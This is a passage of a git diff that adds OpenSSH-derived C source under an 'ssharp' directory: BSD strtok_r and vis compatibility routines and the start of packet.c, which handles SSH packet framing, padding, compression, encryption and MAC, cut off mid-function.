CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "config.h" + +#ifndef HAVE_STRTOK_R + +#include "strtok.h" + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: strtok.c,v 1.3 1999/11/09 11:19:46 art Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include + +char *strtok_r(char *s, const char *delim, char **last) +{ + register char *spanp; + register int c, sc; + char *tok; + + if (s == NULL && (s = *last) == NULL) + return (NULL); + + /* + * Skip (span) leading delimiters (s += strspn(s, delim), sort of). + */ +cont: + c = *s++; + for (spanp = (char *)delim; (sc = *spanp++) != 0;) { + if (c == sc) + goto cont; + } + + if (c == 0) { /* no non-delimiter characters */ + *last = NULL; + return (NULL); + } + tok = s - 1; + + /* + * Scan token (scan for delimiters: s += strcspn(s, delim), sort of). + * Note that delim must have one NUL; we stop if we see that, too. + */ + for (;;) { + c = *s++; + spanp = (char *)delim; + do { + if ((sc = *spanp++) == c) { + if (c == 0) + s = NULL; + else + s[-1] = 0; + *last = s; + return (tok); + } + } while (sc != 0); + } + /* NOTREACHED */ +} + +#endif /* !HAVE_STRTOK_R */ diff --git a/other/ssharp/openbsd-compat/strtok.h b/other/ssharp/openbsd-compat/strtok.h new file mode 100644 index 0000000..57d8b21 --- /dev/null +++ b/other/ssharp/openbsd-compat/strtok.h @@ -0,0 +1,12 @@ +/* $Id: strtok.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_STRTOK_H +#define _BSD_STRTOK_H + +#include "config.h" + +#ifndef HAVE_STRTOK_R +char *strtok_r(char *s, const char *delim, char **last); +#endif /* HAVE_STRTOK_R */ + +#endif /* _BSD_STRTOK_H */ diff --git a/other/ssharp/openbsd-compat/vis.c b/other/ssharp/openbsd-compat/vis.c new file mode 100644 index 0000000..7eb2d6c --- /dev/null +++ b/other/ssharp/openbsd-compat/vis.c @@ -0,0 +1,139 @@ +/*- + * Copyright (c) 1989, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#if defined(LIBC_SCCS) && !defined(lint) +static char rcsid[] = "$OpenBSD: vis.c,v 1.6 2000/11/21 00:47:28 millert Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include "includes.h" + +#ifndef HAVE_VIS + +#define isoctal(c) (((u_char)(c)) >= '0' && ((u_char)(c)) <= '7') +#define isvisible(c) (((u_int)(c) <= UCHAR_MAX && isascii((u_char)(c)) && \ + isgraph((u_char)(c))) || \ + ((flag & VIS_SP) == 0 && (c) == ' ') || \ + ((flag & VIS_TAB) == 0 && (c) == '\t') || \ + ((flag & VIS_NL) == 0 && (c) == '\n') || \ + ((flag & VIS_SAFE) && \ + ((c) == '\b' || (c) == '\007' || (c) == '\r'))) + +/* + * vis - visually encode characters + */ +char *vis(char *dst, int c, int flag, int nextc) +{ + if (isvisible(c)) { + *dst++ = c; + if (c == '\\' && (flag & VIS_NOSLASH) == 0) + *dst++ = '\\'; + *dst = '\0'; + return (dst); + } + + if (flag & VIS_CSTYLE) { + switch(c) { + case '\n': + *dst++ = '\\'; + *dst++ = 'n'; + goto done; + case '\r': + *dst++ = '\\'; + *dst++ = 'r'; + goto done; + case '\b': + *dst++ = '\\'; + *dst++ = 'b'; + goto done; +#ifdef __STDC__ + case '\a': +#else + case '\007': +#endif + *dst++ = '\\'; + *dst++ = 'a'; + goto done; + case '\v': + *dst++ = '\\'; + *dst++ = 'v'; + goto done; + case '\t': + *dst++ = '\\'; + *dst++ = 't'; + goto done; + case '\f': + *dst++ = '\\'; + *dst++ = 'f'; + goto done; + case ' ': + *dst++ = '\\'; + *dst++ = 's'; + goto done; + case '\0': + *dst++ = '\\'; + *dst++ = '0'; + if (isoctal(nextc)) { + *dst++ = '0'; + *dst++ = '0'; + } + goto done; + } + } + if (((c & 0177) == ' ') || (flag & VIS_OCTAL)) { + *dst++ = '\\'; + *dst++ = ((u_char)c >> 6 & 07) + '0'; + *dst++ = ((u_char)c >> 3 & 07) + '0'; + *dst++ = ((u_char)c & 07) + '0'; + goto done; + } + if ((flag & VIS_NOSLASH) == 0) + *dst++ = '\\'; + if (c & 0200) { + c &= 0177; + *dst++ = 'M'; + } + if (iscntrl(c)) { + *dst++ = '^'; + if (c == 0177) + *dst++ = '?'; + else + *dst++ = c + '@'; + } else { + *dst++ = '-'; + *dst++ = c; + } +done: + *dst = '\0'; + return (dst); +} +#endif /* HAVE_VIS */ diff --git a/other/ssharp/openbsd-compat/vis.h b/other/ssharp/openbsd-compat/vis.h new file mode 100644 index 0000000..5d5503f --- /dev/null +++ b/other/ssharp/openbsd-compat/vis.h @@ -0,0 +1,34 @@ +/* $Id: vis.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_VIS_H +#define _BSD_VIS_H + +#include "config.h" + +#ifndef HAVE_VIS + +/* + * to select alternate encoding format + */ +#define VIS_OCTAL 0x01 /* use octal \ddd format */ +#define VIS_CSTYLE 0x02 /* use \[nrft0..] where appropriate */ + +/* + * to alter set of characters encoded (default is to encode all + * non-graphic except space, tab, and newline). + */ +#define VIS_SP 0x04 /* also encode space */ +#define VIS_TAB 0x08 /* also encode tab */ +#define VIS_NL 0x10 /* also encode newline */ +#define VIS_WHITE (VIS_SP | VIS_TAB | VIS_NL) +#define VIS_SAFE 0x20 /* only encode "unsafe" characters */ + +/* + * other + */ +#define VIS_NOSLASH 0x40 /* inhibit printing '\' */ + +char *vis (char *, int, int, int); +#endif /* HAVE_VIS */ + +#endif /* _BSD_VIS_H */ diff --git a/other/ssharp/packet.c b/other/ssharp/packet.c new file mode 100644 index 0000000..e816cb9 --- /dev/null +++ b/other/ssharp/packet.c @@ -0,0 +1,1390 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * This file contains code implementing the packet protocol and communication + * with the other side. This same code is used both on client and server side. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * + * SSH2 packet format added by Markus Friedl. + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: packet.c,v 1.61 2001/04/05 10:42:51 markus Exp $"); + +#include "xmalloc.h" +#include "buffer.h" +#include "packet.h" +#include "bufaux.h" +#include "crc32.h" +#include "getput.h" + +#include "compress.h" +#include "deattack.h" +#include "channels.h" + +#include "compat.h" +#include "ssh1.h" +#include "ssh2.h" + +#include "cipher.h" +#include "kex.h" +#include "mac.h" +#include "log.h" +#include "canohost.h" + +#ifdef PACKET_DEBUG +#define DBG(x) x +#else +#define DBG(x) +#endif + +/* + * This variable contains the file descriptors used for communicating with + * the other side. connection_in is used for reading; connection_out for + * writing. These can be the same descriptor, in which case it is assumed to + * be a socket. + */ +static int connection_in = -1; +static int connection_out = -1; + +/* + * Cipher type. This value is only used to determine whether to pad the + * packets with zeroes or random data. + */ +static int cipher_type = SSH_CIPHER_NONE; + +/* Protocol flags for the remote side. */ +static u_int remote_protocol_flags = 0; + +/* Encryption context for receiving data. This is only used for decryption. */ +static CipherContext receive_context; + +/* Encryption context for sending data. This is only used for encryption. */ +static CipherContext send_context; + +/* Buffer for raw input data from the socket. */ +static Buffer input; + +/* Buffer for raw output data going to the socket. */ +static Buffer output; + +/* Buffer for the partial outgoing packet being constructed. */ +static Buffer outgoing_packet; + +/* Buffer for the incoming packet currently being processed. */ +static Buffer incoming_packet; + +/* Scratch buffer for packet compression/decompression. */ +static Buffer compression_buffer; +static int compression_buffer_ready = 0; + +/* Flag indicating whether packet compression/decompression is enabled. */ +static int packet_compression = 0; + +/* default maximum packet size */ +int max_packet_size = 32768; + +/* Flag indicating whether this module has been initialized. */ +static int initialized = 0; + +/* Set to true if the connection is interactive. */ +static int interactive_mode = 0; + +/* True if SSH2 packet format is used */ +int use_ssh2_packet_format = 0; + +/* Session key information for Encryption and MAC */ +Newkeys *newkeys[MODE_MAX]; + +void +packet_set_ssh2_format(void) +{ + DBG(debug("use_ssh2_packet_format")); + use_ssh2_packet_format = 1; + newkeys[MODE_IN] = newkeys[MODE_OUT] = NULL; +} + +/* + * Sets the descriptors used for communication. Disables encryption until + * packet_set_encryption_key is called. + */ +void +packet_set_connection(int fd_in, int fd_out) +{ + Cipher *none = cipher_by_name("none"); + if (none == NULL) + fatal("packet_set_connection: cannot load cipher 'none'"); + connection_in = fd_in; + connection_out = fd_out; + cipher_type = SSH_CIPHER_NONE; + cipher_init(&send_context, none, (u_char *) "", 0, NULL, 0); + cipher_init(&receive_context, none, (u_char *) "", 0, NULL, 0); + if (!initialized) { + initialized = 1; + buffer_init(&input); + buffer_init(&output); + buffer_init(&outgoing_packet); + buffer_init(&incoming_packet); + } + /* Kludge: arrange the close function to be called from fatal(). */ + fatal_add_cleanup((void (*) (void *)) packet_close, NULL); +} + +/* Returns 1 if remote host is connected via socket, 0 if not. */ + +int +packet_connection_is_on_socket() +{ + struct sockaddr_storage from, to; + socklen_t fromlen, tolen; + + /* filedescriptors in and out are the same, so it's a socket */ + if (connection_in == connection_out) + return 1; + fromlen = sizeof(from); + memset(&from, 0, sizeof(from)); + if (getpeername(connection_in, (struct sockaddr *)&from, &fromlen) < 0) + return 0; + tolen = sizeof(to); + memset(&to, 0, sizeof(to)); + if (getpeername(connection_out, (struct sockaddr *)&to, &tolen) < 0) + return 0; + if (fromlen != tolen || memcmp(&from, &to, fromlen) != 0) + return 0; + if (from.ss_family != AF_INET && from.ss_family != AF_INET6) + return 0; + return 1; +} + +/* returns 1 if connection is via ipv4 */ + +int +packet_connection_is_ipv4() +{ + struct sockaddr_storage to; + socklen_t tolen = sizeof(to); + + memset(&to, 0, sizeof(to)); + if (getsockname(connection_out, (struct sockaddr *)&to, &tolen) < 0) + return 0; + if (to.ss_family != AF_INET) + return 0; + return 1; +} + +/* Sets the connection into non-blocking mode. */ + +void +packet_set_nonblocking() +{ + /* Set the socket into non-blocking mode. */ + if (fcntl(connection_in, F_SETFL, O_NONBLOCK) < 0) + error("fcntl O_NONBLOCK: %.100s", strerror(errno)); + + if (connection_out != connection_in) { + if (fcntl(connection_out, F_SETFL, O_NONBLOCK) < 0) + error("fcntl O_NONBLOCK: %.100s", strerror(errno)); + } +} + +/* Returns the socket used for reading. */ + +int +packet_get_connection_in() +{ + return connection_in; +} + +/* Returns the descriptor used for writing. */ + +int +packet_get_connection_out() +{ + return connection_out; +} + +/* Closes the connection and clears and frees internal data structures. */ + +void +packet_close() +{ + if (!initialized) + return; + initialized = 0; + if (connection_in == connection_out) { + shutdown(connection_out, SHUT_RDWR); + close(connection_out); + } else { + close(connection_in); + close(connection_out); + } + buffer_free(&input); + buffer_free(&output); + buffer_free(&outgoing_packet); + buffer_free(&incoming_packet); + if (compression_buffer_ready) { + buffer_free(&compression_buffer); + buffer_compress_uninit(); + } +} + +/* Sets remote side protocol flags. */ + +void +packet_set_protocol_flags(u_int protocol_flags) +{ + remote_protocol_flags = protocol_flags; + channel_set_options((protocol_flags & SSH_PROTOFLAG_HOST_IN_FWD_OPEN) != 0); +} + +/* Returns the remote protocol flags set earlier by the above function. */ + +u_int +packet_get_protocol_flags() +{ + return remote_protocol_flags; +} + +/* + * Starts packet compression from the next packet on in both directions. + * Level is compression level 1 (fastest) - 9 (slow, best) as in gzip. + */ + +void +packet_init_compression() +{ + if (compression_buffer_ready == 1) + return; + compression_buffer_ready = 1; + buffer_init(&compression_buffer); +} + +void +packet_start_compression(int level) +{ + if (packet_compression && !use_ssh2_packet_format) + fatal("Compression already enabled."); + packet_compression = 1; + packet_init_compression(); + buffer_compress_init_send(level); + buffer_compress_init_recv(); +} + +/* + * Encrypts the given number of bytes, copying from src to dest. bytes is + * known to be a multiple of 8. + */ + +void +packet_encrypt(CipherContext * cc, void *dest, void *src, + u_int bytes) +{ + cipher_encrypt(cc, dest, src, bytes); +} + +/* + * Decrypts the given number of bytes, copying from src to dest. bytes is + * known to be a multiple of 8. + */ + +void +packet_decrypt(CipherContext *context, void *dest, void *src, u_int bytes) +{ + /* + * Cryptographic attack detector for ssh - Modifications for packet.c + * (C)1998 CORE-SDI, Buenos Aires Argentina Ariel Futoransky(futo@core-sdi.com) + */ + if (!compat20 && + context->cipher->number != SSH_CIPHER_NONE && + detect_attack(src, bytes, NULL) == DEATTACK_DETECTED) + packet_disconnect("crc32 compensation attack: network attack detected"); + + cipher_decrypt(context, dest, src, bytes); +} + +/* + * Causes any further packets to be encrypted using the given key. The same + * key is used for both sending and reception. However, both directions are + * encrypted independently of each other. + */ + +void +packet_set_encryption_key(const u_char *key, u_int keylen, + int number) +{ + Cipher *cipher = cipher_by_number(number); + if (cipher == NULL) + fatal("packet_set_encryption_key: unknown cipher number %d", number); + if (keylen < 20) + fatal("packet_set_encryption_key: keylen too small: %d", keylen); + cipher_init(&receive_context, cipher, key, keylen, NULL, 0); + cipher_init(&send_context, cipher, key, keylen, NULL, 0); +} + +/* Starts constructing a packet to send. */ + +void +packet_start1(int type) +{ + char buf[9]; + + buffer_clear(&outgoing_packet); + memset(buf, 0, 8); + buf[8] = type; + buffer_append(&outgoing_packet, buf, 9); +} + +void +packet_start2(int type) +{ + char buf[4+1+1]; + + buffer_clear(&outgoing_packet); + memset(buf, 0, sizeof buf); + /* buf[0..3] = payload_len; */ + /* buf[4] = pad_len; */ + buf[5] = type & 0xff; + buffer_append(&outgoing_packet, buf, sizeof buf); +} + +void +packet_start(int type) +{ + DBG(debug("packet_start[%d]", type)); + if (use_ssh2_packet_format) + packet_start2(type); + else + packet_start1(type); +} + +/* Appends a character to the packet data. */ + +void +packet_put_char(int value) +{ + char ch = value; + buffer_append(&outgoing_packet, &ch, 1); +} + +/* Appends an integer to the packet data. */ + +void +packet_put_int(u_int value) +{ + buffer_put_int(&outgoing_packet, value); +} + +/* Appends a string to packet data. */ + +void +packet_put_string(const char *buf, u_int len) +{ + buffer_put_string(&outgoing_packet, buf, len); +} +void +packet_put_cstring(const char *str) +{ + buffer_put_string(&outgoing_packet, str, strlen(str)); +} + +void +packet_put_raw(const char *buf, u_int len) +{ + buffer_append(&outgoing_packet, buf, len); +} + + +/* Appends an arbitrary precision integer to packet data. */ + +void +packet_put_bignum(BIGNUM * value) +{ + buffer_put_bignum(&outgoing_packet, value); +} +void +packet_put_bignum2(BIGNUM * value) +{ + buffer_put_bignum2(&outgoing_packet, value); +} + +/* + * Finalizes and sends the packet. If the encryption key has been set, + * encrypts the packet before sending. + */ + +void +packet_send1(void) +{ + char buf[8], *cp; + int i, padding, len; + u_int checksum; + u_int32_t rand = 0; + + /* + * If using packet compression, compress the payload of the outgoing + * packet. + */ + if (packet_compression) { + buffer_clear(&compression_buffer); + /* Skip padding. */ + buffer_consume(&outgoing_packet, 8); + /* padding */ + buffer_append(&compression_buffer, "\0\0\0\0\0\0\0\0", 8); + buffer_compress(&outgoing_packet, &compression_buffer); + buffer_clear(&outgoing_packet); + buffer_append(&outgoing_packet, buffer_ptr(&compression_buffer), + buffer_len(&compression_buffer)); + } + /* Compute packet length without padding (add checksum, remove padding). */ + len = buffer_len(&outgoing_packet) + 4 - 8; + + /* Insert padding. Initialized to zero in packet_start1() */ + padding = 8 - len % 8; + if (cipher_type != SSH_CIPHER_NONE) { + cp = buffer_ptr(&outgoing_packet); + for (i = 0; i < padding; i++) { + if (i % 4 == 0) + rand = arc4random(); + cp[7 - i] = rand & 0xff; + rand >>= 8; + } + } + buffer_consume(&outgoing_packet, 8 - padding); + + /* Add check bytes. */ + checksum = ssh_crc32((u_char *) buffer_ptr(&outgoing_packet), + buffer_len(&outgoing_packet)); + PUT_32BIT(buf, checksum); + buffer_append(&outgoing_packet, buf, 4); + +#ifdef PACKET_DEBUG + fprintf(stderr, "packet_send plain: "); + buffer_dump(&outgoing_packet); +#endif + + /* Append to output. */ + PUT_32BIT(buf, len); + buffer_append(&output, buf, 4); + buffer_append_space(&output, &cp, buffer_len(&outgoing_packet)); + packet_encrypt(&send_context, cp, buffer_ptr(&outgoing_packet), + buffer_len(&outgoing_packet)); + +#ifdef PACKET_DEBUG + fprintf(stderr, "encrypted: "); + buffer_dump(&output); +#endif + + buffer_clear(&outgoing_packet); + + /* + * Note that the packet is now only buffered in output. It won\'t be + * actually sent until packet_write_wait or packet_write_poll is + * called. + */ +} + +void +set_newkeys(int mode) +{ + Enc *enc; + Mac *mac; + Comp *comp; + CipherContext *cc; + + debug("newkeys: mode %d", mode); + + cc = (mode == MODE_OUT) ? &send_context : &receive_context; + if (newkeys[mode] != NULL) { + debug("newkeys: rekeying"); + /* todo: free old keys, reset compression/cipher-ctxt; */ + memset(cc, 0, sizeof(*cc)); + enc = &newkeys[mode]->enc; + mac = &newkeys[mode]->mac; + comp = &newkeys[mode]->comp; + memset(mac->key, 0, mac->key_len); + xfree(enc->name); + xfree(enc->iv); + xfree(enc->key); + xfree(mac->name); + xfree(mac->key); + xfree(comp->name); + xfree(newkeys[mode]); + } + newkeys[mode] = kex_get_newkeys(mode); + if (newkeys[mode] == NULL) + fatal("newkeys: no keys for mode %d", mode); + enc = &newkeys[mode]->enc; + mac = &newkeys[mode]->mac; + comp = &newkeys[mode]->comp; + if (mac->md != NULL) + mac->enabled = 1; + DBG(debug("cipher_init_context: %d", mode)); + cipher_init(cc, enc->cipher, enc->key, enc->cipher->key_len, + enc->iv, enc->cipher->block_size); + memset(enc->iv, 0, enc->cipher->block_size); + memset(enc->key, 0, enc->cipher->key_len); + if (comp->type != 0 && comp->enabled == 0) { + packet_init_compression(); + if (mode == MODE_OUT) + buffer_compress_init_send(6); + else + buffer_compress_init_recv(); + comp->enabled = 1; + } +} + +/* + * Finalize packet in SSH2 format (compress, mac, encrypt, enqueue) + */ +void +packet_send2(void) +{ + static u_int32_t seqnr = 0; + u_char *macbuf = NULL; + char *cp; + u_int packet_length = 0; + u_int i, padlen, len; + u_int32_t rand = 0; + int type; + Enc *enc = NULL; + Mac *mac = NULL; + Comp *comp = NULL; + int block_size; + + if (newkeys[MODE_OUT] != NULL) { + enc = &newkeys[MODE_OUT]->enc; + mac = &newkeys[MODE_OUT]->mac; + comp = &newkeys[MODE_OUT]->comp; + } + block_size = enc ? enc->cipher->block_size : 8; + + cp = buffer_ptr(&outgoing_packet); + type = cp[5] & 0xff; + +#ifdef PACKET_DEBUG + fprintf(stderr, "plain: "); + buffer_dump(&outgoing_packet); +#endif + + if (comp && comp->enabled) { + len = buffer_len(&outgoing_packet); + /* skip header, compress only payload */ + buffer_consume(&outgoing_packet, 5); + buffer_clear(&compression_buffer); + buffer_compress(&outgoing_packet, &compression_buffer); + buffer_clear(&outgoing_packet); + buffer_append(&outgoing_packet, "\0\0\0\0\0", 5); + buffer_append(&outgoing_packet, buffer_ptr(&compression_buffer), + buffer_len(&compression_buffer)); + DBG(debug("compression: raw %d compressed %d", len, + buffer_len(&outgoing_packet))); + } + + /* sizeof (packet_len + pad_len + payload) */ + len = buffer_len(&outgoing_packet); + + /* + * calc size of padding, alloc space, get random data, + * minimum padding is 4 bytes + */ + padlen = block_size - (len % block_size); + if (padlen < 4) + padlen += block_size; + buffer_append_space(&outgoing_packet, &cp, padlen); + if (enc && enc->cipher->number != SSH_CIPHER_NONE) { + /* random padding */ + for (i = 0; i < padlen; i++) { + if (i % 4 == 0) + rand = arc4random(); + cp[i] = rand & 0xff; + rand >>= 8; + } + } else { + /* clear padding */ + memset(cp, 0, padlen); + } + /* packet_length includes payload, padding and padding length field */ + packet_length = buffer_len(&outgoing_packet) - 4; + cp = buffer_ptr(&outgoing_packet); + PUT_32BIT(cp, packet_length); + cp[4] = padlen & 0xff; + DBG(debug("send: len %d (includes padlen %d)", packet_length+4, padlen)); + + /* compute MAC over seqnr and packet(length fields, payload, padding) */ + if (mac && mac->enabled) { + macbuf = mac_compute(mac, seqnr, + (u_char *) buffer_ptr(&outgoing_packet), + buffer_len(&outgoing_packet)); + DBG(debug("done calc MAC out #%d", seqnr)); + } + /* encrypt packet and append to output buffer. */ + buffer_append_space(&output, &cp, buffer_len(&outgoing_packet)); + packet_encrypt(&send_context, cp, buffer_ptr(&outgoing_packet), + buffer_len(&outgoing_packet)); + /* append unencrypted MAC */ + if (mac && mac->enabled) + buffer_append(&output, (char *)macbuf, mac->mac_len); +#ifdef PACKET_DEBUG + fprintf(stderr, "encrypted: "); + buffer_dump(&output); +#endif + /* increment sequence number for outgoing packets */ + if (++seqnr == 0) + log("outgoing seqnr wraps around"); + buffer_clear(&outgoing_packet); + + if (type == SSH2_MSG_NEWKEYS) + set_newkeys(MODE_OUT); +} + +void +packet_send() +{ + if (use_ssh2_packet_format) + packet_send2(); + else + packet_send1(); + DBG(debug("packet_send done")); +} + +/* + * Waits until a packet has been received, and returns its type. Note that + * no other data is processed until this returns, so this function should not + * be used during the interactive session. + */ + +int +packet_read(int *payload_len_ptr) +{ + int type, len; + fd_set *setp; + char buf[8192]; + DBG(debug("packet_read()")); + + setp = (fd_set *)xmalloc(howmany(connection_in+1, NFDBITS) * + sizeof(fd_mask)); + + /* Since we are blocking, ensure that all written packets have been sent. */ + packet_write_wait(); + + /* Stay in the loop until we have received a complete packet. */ + for (;;) { + /* Try to read a packet from the buffer. */ + type = packet_read_poll(payload_len_ptr); + if (!use_ssh2_packet_format && ( + type == SSH_SMSG_SUCCESS + || type == SSH_SMSG_FAILURE + || type == SSH_CMSG_EOF + || type == SSH_CMSG_EXIT_CONFIRMATION)) + packet_integrity_check(*payload_len_ptr, 0, type); + /* If we got a packet, return it. */ + if (type != SSH_MSG_NONE) { + xfree(setp); + return type; + } + /* + * Otherwise, wait for some data to arrive, add it to the + * buffer, and try again. + */ + memset(setp, 0, howmany(connection_in + 1, NFDBITS) * + sizeof(fd_mask)); + FD_SET(connection_in, setp); + + /* Wait for some data to arrive. */ + while (select(connection_in + 1, setp, NULL, NULL, NULL) == -1 && + (errno == EAGAIN || errno == EINTR)) + ; + + /* Read data from the socket. */ + len = read(connection_in, buf, sizeof(buf)); + if (len == 0) { + log("Connection closed by %.200s", get_remote_ipaddr()); + fatal_cleanup(); + } + if (len < 0) + fatal("Read from socket failed: %.100s", strerror(errno)); + /* Append it to the buffer. */ + packet_process_incoming(buf, len); + } + /* NOTREACHED */ +} + +/* + * Waits until a packet has been received, verifies that its type matches + * that given, and gives a fatal error and exits if there is a mismatch. + */ + +void +packet_read_expect(int *payload_len_ptr, int expected_type) +{ + int type; + + type = packet_read(payload_len_ptr); + if (type != expected_type) + packet_disconnect("Protocol error: expected packet type %d, got %d", + expected_type, type); +} + +/* Checks if a full packet is available in the data received so far via + * packet_process_incoming. If so, reads the packet; otherwise returns + * SSH_MSG_NONE. This does not wait for data from the connection. + * + * SSH_MSG_DISCONNECT is handled specially here. Also, + * SSH_MSG_IGNORE messages are skipped by this function and are never returned + * to higher levels. + * + * The returned payload_len does include space consumed by: + * Packet length + * Padding + * Packet type + * Check bytes + */ + +int +packet_read_poll1(int *payload_len_ptr) +{ + u_int len, padded_len; + u_char *ucp; + char buf[8], *cp; + u_int checksum, stored_checksum; + + /* Check if input size is less than minimum packet size. */ + if (buffer_len(&input) < 4 + 8) + return SSH_MSG_NONE; + /* Get length of incoming packet. */ + ucp = (u_char *) buffer_ptr(&input); + len = GET_32BIT(ucp); + if (len < 1 + 2 + 2 || len > 256 * 1024) + packet_disconnect("Bad packet length %d.", len); + padded_len = (len + 8) & ~7; + + /* Check if the packet has been entirely received. */ + if (buffer_len(&input) < 4 + padded_len) + return SSH_MSG_NONE; + + /* The entire packet is in buffer. */ + + /* Consume packet length. */ + buffer_consume(&input, 4); + + /* Copy data to incoming_packet. */ + buffer_clear(&incoming_packet); + buffer_append_space(&incoming_packet, &cp, padded_len); + packet_decrypt(&receive_context, cp, buffer_ptr(&input), padded_len); + buffer_consume(&input, padded_len); + +#ifdef PACKET_DEBUG + fprintf(stderr, "read_poll plain: "); + buffer_dump(&incoming_packet); +#endif + + /* Compute packet checksum. */ + checksum = ssh_crc32((u_char *) buffer_ptr(&incoming_packet), + buffer_len(&incoming_packet) - 4); + + /* Skip padding. */ + buffer_consume(&incoming_packet, 8 - len % 8); + + /* Test check bytes. */ + + if (len != buffer_len(&incoming_packet)) + packet_disconnect("packet_read_poll: len %d != buffer_len %d.", + len, buffer_len(&incoming_packet)); + + ucp = (u_char *) buffer_ptr(&incoming_packet) + len - 4; + stored_checksum = GET_32BIT(ucp); + if (checksum != stored_checksum) + packet_disconnect("Corrupted check bytes on input."); + buffer_consume_end(&incoming_packet, 4); + + /* If using packet compression, decompress the packet. */ + if (packet_compression) { + buffer_clear(&compression_buffer); + buffer_uncompress(&incoming_packet, &compression_buffer); + buffer_clear(&incoming_packet); + buffer_append(&incoming_packet, buffer_ptr(&compression_buffer), + buffer_len(&compression_buffer)); + } + /* Get packet type. */ + buffer_get(&incoming_packet, &buf[0], 1); + + /* Return length of payload (without type field). */ + *payload_len_ptr = buffer_len(&incoming_packet); + + /* Return type. */ + return (u_char) buf[0]; +} + +int +packet_read_poll2(int *payload_len_ptr) +{ + static u_int32_t seqnr = 0; + static u_int packet_length = 0; + u_int padlen, need; + u_char buf[8], *macbuf; + u_char *ucp; + char *cp; + int type; + int maclen, block_size; + Enc *enc = NULL; + Mac *mac = NULL; + Comp *comp = NULL; + + if (newkeys[MODE_IN] != NULL) { + enc = &newkeys[MODE_IN]->enc; + mac = &newkeys[MODE_IN]->mac; + comp = &newkeys[MODE_IN]->comp; + } + maclen = mac && mac->enabled ? mac->mac_len : 0; + block_size = enc ? enc->cipher->block_size : 8; + + if (packet_length == 0) { + /* + * check if input size is less than the cipher block size, + * decrypt first block and extract length of incoming packet + */ + if (buffer_len(&input) < block_size) + return SSH_MSG_NONE; + buffer_clear(&incoming_packet); + buffer_append_space(&incoming_packet, &cp, block_size); + packet_decrypt(&receive_context, cp, buffer_ptr(&input), + block_size); + ucp = (u_char *) buffer_ptr(&incoming_packet); + packet_length = GET_32BIT(ucp); + if (packet_length < 1 + 4 || packet_length > 256 * 1024) { + buffer_dump(&incoming_packet); + packet_disconnect("Bad packet length %d.", packet_length); + } + DBG(debug("input: 